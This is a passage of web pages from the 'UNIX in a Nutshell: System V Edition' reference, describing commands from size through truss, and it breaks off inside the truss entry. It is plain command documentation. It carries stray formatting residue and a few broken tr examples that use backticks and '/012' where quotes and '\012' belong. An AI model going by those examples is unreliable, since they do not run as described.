Reference: shl | Book Index | Reference: size
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: size

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: shutdown Chapter 2
UNIX Commands 		Next: Reference: sleep

size

size [options] [objfile...]

Print the (decimal) number of bytes of each objfile. If objfile is not specified, a.out is used.

Options

-f

Print sizes, names, and total size for allocatable sections.

-F

Print sizes, permission flags, and total size for loadable segments.

-n

Print sizes for nonallocatable sections or for nonloadable segments.

-o

Print output in octal.

-V

Report the size program version number.

-x

Print output in hexadecimal.

Previous: Reference: shutdown | UNIX in a Nutshell: System V Edition | Next: Reference: sleep
Reference: shutdown | Book Index | Reference: sleep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sleep

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: size Chapter 2
UNIX Commands 		Next: Reference: soelim

sleep

sleep seconds

Wait a specified number of seconds before executing another command. Often used in shell scripts.

Previous: Reference: size | UNIX in a Nutshell: System V Edition | Next: Reference: soelim
Reference: size | Book Index | Reference: soelim
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: soelim

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sleep Chapter 2
UNIX Commands 		Next: Reference: sort

soelim

/usr/ucb/soelim [files]

A preprocessor that reads nroff/troff input files, resolving and then eliminating .so requests. That is, input lines such as

.so header

are replaced by the contents of the file header. Normally, .so requests are resolved by nroff or troff. Use soelim whenever you are preprocessing the input (e.g., passing it through tbl or sed) and the complete text is needed prior to formatting.

Example

Run a sed script on (all) input before formatting:

soelim file | sed -e 's/--/\\(em/' | nroff | lp

Previous: Reference: sleep | UNIX in a Nutshell: System V Edition | Next: Reference: sort
Reference: sleep | Book Index | Reference: sort
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sort

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: soelim Chapter 2
UNIX Commands 		Next: Reference: spell

sort

sort [options] [files]

Sort the lines of the named files, typically in alphabetical order. See also uniq, comm, join.

Options

-b

Ignore leading spaces and tabs.

-c

Check whether files are already sorted, and if so, produce no output.

-d

Sort in dictionary order (ignore punctuation).

-f

"Fold"; ignore uppercase/lowercase differences.

-i

Ignore nonprinting characters (those outside ASCII range 040-176).

-m

Merge sorted input files.

-M

Compare first three characters as months.

-n

Sort in arithmetic order.

-ofile

Put output in file.

-r

Reverse the order of the sort.

-tc

Fields are separated with c (default is any white space).

-u

Identical lines in input file appear only one (unique) time in output.

-ykmem

Adjust the amount of memory (in kilobytes) sort uses. If kmem is not specified, allocate the maximum memory.

-zrecsz

Provide the maximum number of bytes for any one line in the file. This option prevents abnormal termination of sort in certain cases.

+n [-m]

Skip n fields before sorting, and sort up to field position m. If m is missing, sort to end of line. Positions take the form a.b, which means character b of field a. If .b is missing, sort at the first character of the field.

Examples

List files by decreasing number of lines:

wc -l * | sort -r

Alphabetize a list of words, remove duplicates, and print the frequency of each word:

sort -fd wordlist | uniq -c

Sort the password file numerically by the third field (user ID):

sort +2n -t: /etc/passwd

Previous: Reference: soelim | UNIX in a Nutshell: System V Edition | Next: Reference: spell
Reference: soelim | Book Index | Reference: spell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: spell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sort Chapter 2
UNIX Commands 		Next: Reference: split

spell

spell [options] [files]

Compare the words of one or more named files with the system dictionary and report all misspelled words. System files for spell reside in /usr/lib/spell.

Options

-b

Check for British spelling.

-i

Ignore files included with the nroff or troff .so request (SVR3 only).

-l

Follow all included files (files named in .so or .nx requests); default is to ignore files that begin with /usr/lib.

-v

Include words that are derived from dictionary list but are not literal entries.

-x

Show every possible word stem (on standard error).

+wordlist

Use the sorted wordlist file as a local dictionary to add to the system dictionary; words in wordlist are not treated as misspelled.

Example

Run the first pass of spell:

spell file1 file2 > jargon

After editing the jargon file, use it as a list of special terms. The second pass of spell produces genuine misspellings:

spell +jargon file[12] > typos

Previous: Reference: sort | UNIX in a Nutshell: System V Edition | Next: Reference: split
Reference: sort | Book Index | Reference: split
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: split

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: spell Chapter 2
UNIX Commands 		Next: Reference: srchtxt

split

split [option] [infile] [outfile]

Split infile into several files of equal length. infile remains unchanged, and the results are written to outfile aa, outfile ab, etc. (default is xaa, xab, etc.). If infile is - (or missing), standard input is read. See also csplit.

Option

-n

Split infile into files, each n lines long (default is 1000).

Examples

Break bigfile into 1000-line segments:

split bigfile

Join four files, then split them into ten-line files named new.aa, new.ab, etc. Note that without the -, new. would be treated as a nonexistent input file:

cat list[1-4] | split -10 - new.

Previous: Reference: spell | UNIX in a Nutshell: System V Edition | Next: Reference: srchtxt
Reference: spell | Book Index | Reference: srchtxt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: srchtxt

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: split Chapter 2
UNIX Commands 		Next: Reference: strings

srchtxt

srchtxt [options] [regexp]

A grep-like utility to search message files for text strings that match regular expression regexp. srchtxt is one of the message manipulation commands like gettxt and mkmsgs. If no regexp is used, srchtxt displays all message strings from the specified files.

Options

.hw locale

-l locale

Search files that reside in the directory /usr/lib/locale/locale/LC_MESSAGES, where locale is the language in which the message strings have been written. The default locale is set by environment variable LC_MESSAGES or LANG. If neither is set, srchtxt searches directory /usr/lib/locale/C/LC_MESSAGES.

-m msgfiles

Search for strings in one or more comma-separated msgfiles. Specifying a pathname for msgfiles overrides the -l option.

-s

Don't print message numbers for strings.

Previous: Reference: split | UNIX in a Nutshell: System V Edition | Next: Reference: strings
Reference: split | Book Index | Reference: strings
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: strings

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: srchtxt Chapter 2
UNIX Commands 		Next: Reference: strip

strings

strings [options] files

endings::newline/null sequence endings" Search object or binary files for sequences of four or more printable characters that end with a newline or null. See also od.

Options

-a

Search entire file, not just the initialized data portion of object files. Can also specify this option as -.

-o

Display the string's offset position before the string.

-n n

Minimum string length is n (default is 4). Can also specify this option as -n.

Previous: Reference: srchtxt | UNIX in a Nutshell: System V Edition | Next: Reference: strip
Reference: srchtxt | Book Index | Reference: strip
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: strip

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: strings Chapter 2
UNIX Commands 		Next: Reference: stty

strip

strip [options] files

Remove information from ELF object files or archive files, thereby reducing file sizes and freeing disk space. The following items can be removed:

1)

Symbol table.

2)

Debugging information.

3)

Line number information.

4)

Static symbol information.

5)

External symbol information.

6)

Block delimiters.

7)

Relocation bits.

Options

-b

Don't strip items 4, 5, and 6.

-l

Strip only item 3 (line number information).

-r

Don't strip items 4, 5, and 7.

-V

Print the version number of strip on standard error.

-x

Strip only items 2 and 3.

Previous: Reference: strings | UNIX in a Nutshell: System V Edition | Next: Reference: stty
Reference: strings | Book Index | Reference: stty
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: stty

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: strip Chapter 2
UNIX Commands 		Next: Reference: su

stty

stty [options] [modes]

Set terminal I/O options for the current device. Without options, stty reports the terminal settings, where a ^ indicates the CONTROL key and ^` indicates a null value. Most modes can be switched using an optional - (shown in brackets). The corresponding description is also shown in brackets. As a privileged user, you can set or read settings from another device using the syntax:

stty [options] [modes] < device

Options

-a

Report all option settings.

-g

Report current settings.

control modes

0

Hang up phone.

n

Set terminal baud rate to n (e.g., 2400).

[-]clocal

[Enable]disable modem control.

[-]cread

[Disable]enable the receiver.

csn

Select character size (5-8).

[-]cstopb

[One]two stop bits per character.

[-]hup

[Do not]hang up connection on last close.

[-]hupcl

Same as previous.

ispeed n

Set terminal input baud rate to n.

[-]loblk

[Do not]block layer output.

ospeed n

Set terminal output baud rate to n.

[-]parenb

[Disable]enable parity generation and detection.

[-]parext

[Disable]enable extended parity generation and detection for mark and space parity.

[-]parodd

Use [even]odd parity.

Input modes

[-]brkint

[Do not]signal INTR on break.

[-]icrnl

[Do not]map carriage return (^M) to newline (^J) on input.

[-]ignbrk

[Do not]ignore break on input.

[-]igncr

[Do not]ignore carriage return on input.

[-]ignpar

[Do not]ignore parity errors.

[-]imaxbel

[Do not]echo BEL when input line is too long.

[-]inlcr

[Do not]map newline to carriage return on input.

[-]inpck

[Disable]enable input parity checking.

[-]istrip

[Do not]strip input characters to seven bits.

[-]iuclc

[Do not]map uppercase to lowercase on input.

[-]ixany

Allow [XON]any character to restart output.

[-]ixoff

[Do not]send START/STOP characters when queue is nearly empty/full.

[-]ixon

[Disable]enable START/STOP output control.

[-]parmrk

[Do not]mark parity errors.

Output modes

bsn

Select style of delay for backspaces (0 or 1).

crn

Select style of delay for carriage returns (0-3).

ffn

Select style of delay for formfeeds (0 or 1).

nln

Select style of delay for linefeeds (0 or 1).

[-]ocrnl

[Do not]map carriage return to newline on output.

[-]ofdel

Set fill character to [NULL]DEL.

[-]ofill

Delay output with [timing]fill characters.

[-]olcuc

[Do not]map lowercase to uppercase on output.

[-]onlcr

[Do not]map newline to carriage return-newline on output.

[-]onlret

[Do not]perform carriage return after newline.

[-]onocr

[Do not]output carriage returns at column zero.

[-]opost

[Do not]postprocess output; ignore all other output modes.

tabn

Select style of delay for horizontal tabs (0-3).

vtn

Select style of delay for vertical tabs (0 or 1).

Local modes

[-]echo

[Do not]echo every character typed.

[-]echoctl

[Do not]echo control characters as ^char, delete as ^?.

[-]echoe

[Do not]echo ERASE character as BS-space-BS string.

[-]echok

[Do not]echo newline after KILL character.

[-]echoke

[Do not]BS-SP-BS erase entire line on line kill.

[-]echonl

[Do not]echo newline (^J).

[-]echoprt

[Do not]echo erase character as character is "erased."

[-]flusho

Output is [not] being flushed.

[-]icanon

[Disable]enable canonical input (ERASE and KILL processing).

[-]iexten

[Disable]enable extended functions for input data.

[-]isig

[Disable]enable checking of characters against INTR, QUIT, and SWITCH.

[-]noflsh

[Enable]disable flush after INTR, QUIT, or SWITCH.

[-]pendin

[Do not]retype pending input at next read or input character.

[-]stappl

[Line]application mode on a synchronous line.

[-]stflush

[Disable]enable flush on synchronous line.

[-]stwrap

[Enable]disable truncation on synchronous line.

[-]tostop

[Do not]send SIGTTOU when background processes write to the terminal.

[-]xcase

[Do not]change case on local output.

Control assignments

ctrl-char c

Set control character to c. ctrl-char is: ctab, discard, dsusp, eof, eol, eol2, erase, intr, kill, lnext, quit, reprint, start, stop, susp, swtch, werase.

min, time n

Set min or time to n.

line i

Set line discipline to i (1-126).

Combination modes

async

Set normal asynchronous communications.

cooked

Same as -raw.

[-]evenp

Same as [-]parenb and cs[8]7.

ek

Reset ERASE and KILL characters to # and @.

[-]lcase

[Un]set xcase, iuclc, and olcuc.

[-]LCASE

Same as [-]lcase.

[-]markp

[Disable]enable parenb, parodd, and parext and set cs[8]7.

[-]nl

[Un]set icrnl and onlcr. -nl also unsets inlcr, igncr, ocrnl, and onlret.

[-]oddp

Same as [-]parenb, [-]parodd, and cs7[8].

[-]parity

Same as [-]parenb and cs[8]7.

[-]raw

[Disable]enable raw input and output (no ERASE, KILL, INTR, QUIT, EOT, SWITCH, or output postprocessing).

sane

Reset all modes to reasonable values.

[-]spacep

[Disable]enable parenb and parext and set cs[8]7.

[-]tabs

[Expand to spaces]preserve output tabs.

term

Set all modes suitable for terminal type term (tty33, tty37, vt05, tn300, ti700, or tek).

Hardware flow control modes

[-]rtsxoff

[Disable]enable RTS on input.

[-]ctsxon

[Disable]enable CTS on output.

[-]dtrxoff

[Disable]enable DTR on input.

[-]cdxon

[Disable]enable CD on output.

[-]isxoff

[Disable]enable isochronous on input.

Clock modes

[x|r]cibrg

Get the transmit|receive clock from internal baud rate generator.

[x|r]ctset

Get the transmit|receive clock from transmitter timing-lead, circuit 114, pin 15.

[x|r]crset

Get the transmit|receive clock from receiver timing-lead, circuit 115, pin 17.

For modes beginning with t, pin is transmitter timing-lead, circuit 113, pin 24. For modes beginning with r, pin is receiver timing-lead, circuit 128, no pin.

[t|r]setcoff

No transmitter|receiver timing clock.

[t|r]setcrbrg

Send receive baud rate generator to pin.

[t|r]setctbrg

Send transmit baud rate generator to pin.

[t|r]setctset

Send transmitter timing to pin.

[t|r]setcrset

Send receiver timing to pin.

Window size

columns n

Set size to n columns.

rows n

Set size to n rows.

xpixels n

Set size to n pixels across.

ypixels n

Set size to n pixels up and down.

Previous: Reference: strip | UNIX in a Nutshell: System V Edition | Next: Reference: su
Reference: strip | Book Index | Reference: su
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: su

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: stty Chapter 2
UNIX Commands 		Next: Reference: sum

su

su [option] [user] [shell_args]

Create a shell with the effective user ID of another user (that is, login as user). If no user is specified, create a shell for a privileged user (that is, become a superuser). Enter EOF to terminate. You can run the shell with particular options by passing them as shell_args (e.g., if the shell runs sh, you can specify -c command to execute command via sh, or -r to create a restricted shell).

Option

-

Go through the entire login sequence (i.e., change to user's environment).

Previous: Reference: stty | UNIX in a Nutshell: System V Edition | Next: Reference: sum
Reference: stty | Book Index | Reference: sum
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sum

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: su Chapter 2
UNIX Commands 		Next: Reference: tabs

sum

sum [option] file

Calculate and print a checksum and the number of (512-byte) blocks for file. Useful for verifying data transmission.

Option

-r

Use an alternate checksum algorithm; this produces the same results as the BSD version of sum.

Previous: Reference: su | UNIX in a Nutshell: System V Edition | Next: Reference: tabs
Reference: su | Book Index | Reference: tabs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tabs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sum Chapter 2
UNIX Commands 		Next: Reference: tail

tabs

tabs [tabspec] [options]

Set terminal tab stops according to tabspec. The default tabspec, -8, gives the standard UNIX tab settings. Specify tabspec as a predefined set of tab stops for particular languages, for example: a (IBM assembler), c (COBOL), f (FORTRAN), p (PL/1), s (SNOBOL), and u (UNIVAC). tabspec can also be a repeated number, arbitrary numbers, or called from a file.

Tabspec

-n

Repeat tab every n columns (e.g., 1+n, 1+2*n, etc.).

n1,n2,...

Arbitrary ascending values. If n is preceded by +, it is added (i.e., tab is relative to previous position).

-a

1, 10, 16, 36, 72.

-a2

1, 10, 16, 40, 72.

-c

1, 8, 12, 16, 20, 55.

-c2

1, 6, 10, 14, 49.

-c3

1, 6, 10, 14, 18, 22, 26, 30, 34, 38, 42, 46, 50, 54, 58, 62, 67.

-f

1, 7, 11, 15, 19, 23.

-p

1, 5, 9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61.

-s

1, 10, 55.

-u

1, 12, 20, 44.

--file

Read first line of file for tabs.

Options

+mn

Set left margin to n (default is 10).

-Ttype

Set terminal type (default is TERM).

Previous: Reference: sum | UNIX in a Nutshell: System V Edition | Next: Reference: tail
Reference: sum | Book Index | Reference: tail
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tail

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tabs Chapter 2
UNIX Commands 		Next: Reference: talk

tail

tail [options] [file]

Print the last ten lines of the named file. Use only one of -f or -r.

Options

-f

Don't quit at the end of file; "follow" file as it grows. End with a BREAK (CTRL-C).

-r

Copy lines in reverse order.

-n[k]

Begin printing at nth item from end of file. k specifies the item to count: l (lines, the default), b (blocks), or c (characters).

-k

Same as previous, but use the default count of 10.

+n[k]

Like -n, but start at nth item from beginning of file.

+k

Like -k, but count from beginning of file.

Examples

Show the last 20 lines containing instances of .Ah:

grep '.Ah' file | tail -20

Continually track the latest uucp activity:

tail -f /usr/spool/uucp/LOGFILE

Show the last ten characters of variable name:

echo "$name" | tail -c

Reverse all lines in list:

 tail -r list

Previous: Reference: tabs | UNIX in a Nutshell: System V Edition | Next: Reference: talk
Reference: tabs | Book Index | Reference: talk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: talk

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tail Chapter 2
UNIX Commands 		Next: Reference: tar

talk

talk user [@hostname] [tty]

Exchange typed communication with another user who is on the local machine or on machine hostname. talk might be useful when you're logged in via modem and need something quickly, making it inconvenient to telephone or send e-mail. talk splits your screen into two windows. When connection is established, you type in the top half while user's typing appears in the bottom half. Type CTRL-L to redraw the screen and CTRL-D (or interrupt) to exit. If user is logged in more than once, use tty to specify the terminal line.

Previous: Reference: tail | UNIX in a Nutshell: System V Edition | Next: Reference: tar
Reference: tail | Book Index | Reference: tar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tar

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: talk Chapter 2
UNIX Commands 		Next: Reference: tbl

tar

tar [options] [files]

Copy files to or restore files from tape. If any files are directories, tar acts on the entire subtree. Options need not be preceded by -. Note that options are supplied as one group, with any arguments placed afterward in corresponding order.

Function options (choose one)

c

Create a new tape.

r

Append files to tape.

t

Print the names of files if they are stored on the tape (if files not specified, print names of all files).

u

Add files if not on tape or if modified.

x

Extract files from tape (if files not specified, extract all files).

Options

b n

Use blocking factor n (default is 1; maximum is 20).

f arch

Store files in or extract files from archive arch; arch is usually a device name (default is /dev/mt0). If arch is -, standard input or output is used as appropriate (e.g., when piping a tar archive to a remote host).

l

Print error messages about links it can't find.

L

Follow symbolic links.

m

Do not restore file modification times; update them to the time of extraction.

o

Change ownership of extracted files to that of user running program.

v

Print function letter (x for extraction or a for archive) and name of files.

w

Wait for user confirmation (y).

n[c]

Select tape drive n and use speed c. n is 0-7 (default is 0); c is l (low) h (high) m (medium, the default). Used to modify arch.

Examples

Create an archive of /bin and /usr/bin (c), show the command working (v), and store on the tape in /dev/rmt0:

tar cvf /dev/rmt0 /bin /usr/bin

List the tape's contents in a format like ls -l:

tar tvf /dev/rmt0

Extract the /bin directory:

tar xvf /dev/rmt0 /bin

Create an archive of the current directory, and store it in a file backup.tar on the system.

tar cvf - `find . -print` > backup.tar

(The - tells tar to store the directory on standard output, which is then redirected.)

Previous: Reference: talk | UNIX in a Nutshell: System V Edition | Next: Reference: tbl
Reference: talk | Book Index | Reference: tbl
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tbl

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tar Chapter 2
UNIX Commands 		Next: Reference: tee

tbl

/usr/ucb/tbl [options] [files]

Preprocessor for nroff/troff tables. See Section 16.

Previous: Reference: tar | UNIX in a Nutshell: System V Edition | Next: Reference: tee
Reference: tar | Book Index | Reference: tee
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tee

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tbl Chapter 2
UNIX Commands 		Next: Reference: telnet

tee

tee [options] [files]

Duplicate the standard input; send one copy to standard output and another copy to files.

Options

-a

Append output to files.

-i

Ignore all interrupts.

Examples

Display a who listing on the screen, and store it in two files:

who | tee userlist ttylist

Display misspelled words, and add them to existing typos:

spell ch02 | tee -a typos

Previous: Reference: tbl | UNIX in a Nutshell: System V Edition | Next: Reference: telnet
Reference: tbl | Book Index | Reference: telnet
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: telnet

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tee Chapter 2
UNIX Commands 		Next: Reference: test

telnet

telnet [host [port]]

Communicate with another host using the TELNET protocol. host may be either a name or an Internet address (dot format). telnet has a command mode (indicated by the telnet> prompt) and an input mode (usually a login session on the host system). If no host is given, telnet defaults to command mode. You can also enter command mode from input mode by typing the escape character CTRL-]. In command mode, type ? or help to list the available commands.

Previous: Reference: tee | UNIX in a Nutshell: System V Edition | Next: Reference: test
Reference: tee | Book Index | Reference: test
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: test

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: telnet Chapter 2
UNIX Commands 		Next: Reference: time

test

test expression
or
[ expression ]

Evaluate an expression and, if its value is true, return a zero exit status; otherwise, return a nonzero exit status. In shell scripts, you can use the alternate form [ expression ]. This command is generally used with conditional constructs in shell programs. See Section 4 for more information on test.

Previous: Reference: telnet | UNIX in a Nutshell: System V Edition | Next: Reference: time
Reference: telnet | Book Index | Reference: time
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: time

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: test Chapter 2
UNIX Commands 		Next: Reference: timex

time

time command [arguments]

Execute a command with optional arguments and print the total elapsed time, execution time, process execution time, and system time of the process (all in seconds).

Previous: Reference: test | UNIX in a Nutshell: System V Edition | Next: Reference: timex
Reference: test | Book Index | Reference: timex
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: timex

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: time Chapter 2
UNIX Commands 		Next: Reference: touch

timex

timex [options] command [arguments]

Execute a command with optional arguments and print information specified by the time command. Report process data with various options.

Options

-o

Show total number of blocks and characters used.

-p suboptions

Show process accounting data with possible suboptions.

-s

Show total system activity (similar to output from the sar command).

Suboptions for -p

-f

Include fork/exit flag and system exit status.

-h

Show "hog" factor (fraction of CPU time used) instead of mean memory size.

-k

Show total kcore-minutes instead of memory size.

-m

Show mean core size (this is the default behavior).

-r

Show CPU use computation.

-t

Show user and system CPU times.

Previous: Reference: time | UNIX in a Nutshell: System V Edition | Next: Reference: touch
Reference: time | Book Index | Reference: touch
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: touch

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: timex Chapter 2
UNIX Commands 		Next: Reference: tput

touch

touch [options] [date] files

For one or more files, update the access time and modification time (and dates) to the current time and date, or update to the optional date. date is a date and time in the format mmddhhmm[yy]. touch is useful in forcing other commands to handle files a certain way; e.g., the operation of make, and sometimes find, relies on a file's access and modification time.

Options

-a

Update only the access time.

-c

Do not create nonexistent files.

-m

Update only the modification time.

Previous: Reference: timex | UNIX in a Nutshell: System V Edition | Next: Reference: tput
Reference: timex | Book Index | Reference: tput
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tput

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: touch Chapter 2
UNIX Commands 		Next: Reference: tr

tput

tput [options] capname [arguments]

Print the value of the terminal capability capname (and its associated numeric or string arguments) from the terminfo database. capname is a terminfo capability such as clear or col. (See the Nutshell Handbook, termcap & terminfo.) The last four options are mutually exclusive and are not used when specifying a capname. Exit statuses are: 0 when a Boolean capname is set to true or when a string capname is defined; 1 when a Boolean is false or when a string is undefined; 2 for usage errors; 3 for unknown terminal type; 4 for unknown capname.

Options

-Ttype

Print the capabilities of terminal type (default is the terminal in use).

-S

Read capname from standard input (this allows tput to evaluate more than one capname).

init

Print initialization strings and expand tabs.

reset

Print reset strings if present; act like init if not.

longname

Print the terminal's long name.

Examples

Show the number of columns for the xterm window:

tput -Txterm cols

Define shell variable restart to reset terminal characteristics:

restart=`tput reset`

Previous: Reference: touch | UNIX in a Nutshell: System V Edition | Next: Reference: tr
Reference: touch | Book Index | Reference: tr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tr

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tput Chapter 2
UNIX Commands 		Next: Reference: troff

tr

tr [options] [string1 [string2]]

Copy standard input to standard output, performing substitution of characters from string1 to string2 or deletion of characters in string1.

Options

-c

Complement characters in string1 with ASCII 001-377.

-d

Delete characters in string1 from output.

-s

Squeeze out repeated output characters in string2.

Examples

Change uppercase to lowercase in a file:

cat file | tr `[A-Z]` `[a-z]`

Turn spaces into newlines (ASCII code 012):

tr ' ' '\012' <file

Strip blank lines from file and save in new.file (or use \011 to change successive tabs into one tab):

cat file | tr -s "" "/012" > new.file

Delete colons from file; save result in new.file:

tr -d : <file > new.file

Previous: Reference: tput | UNIX in a Nutshell: System V Edition | Next: Reference: troff
Reference: tput | Book Index | Reference: troff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: troff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tr Chapter 2
UNIX Commands 		Next: Reference: true

troff

/usr/ucb/troff [options] [files]

Document formatter for laser printer or typesetter. See Section 12.

Previous: Reference: tr | UNIX in a Nutshell: System V Edition | Next: Reference: true
Reference: tr | Book Index | Reference: true
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: true

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: troff Chapter 2
UNIX Commands 		Next: Reference: truss

true

true

A null command that returns a successful (zero) exit status. Normally used in Bourne shell scripts. See also false.

Previous: Reference: troff | UNIX in a Nutshell: System V Edition | Next: Reference: truss
Reference: troff | Book Index | Reference: truss
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: truss

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: true Chapter 2
UNIX Commands 		Next: Reference: tset

truss

truss [options] arguments

Trace system calls, signals, and machine faults while executing arguments. arguments is either a UNIX command or, if -p is specified, a list of process IDs representing the processes to run. The options -m, -t, -v, -x, -s, -r, and -w accept a comma-separated list of arguments. A ! reverses the sense of the list, telling truss to ignore those elements of the list during the trace. (In the C shell, use a backslash before !.) The optional ! and corresponding description are shown in brackets.

Options

-a

Display parameters passed by each exec call.

-c

Count the traced items rather than listing them.

-e

Display values of environment variables passed by each exec call.

-f

Follow child processes. Useful for tracing shell scripts.

-i

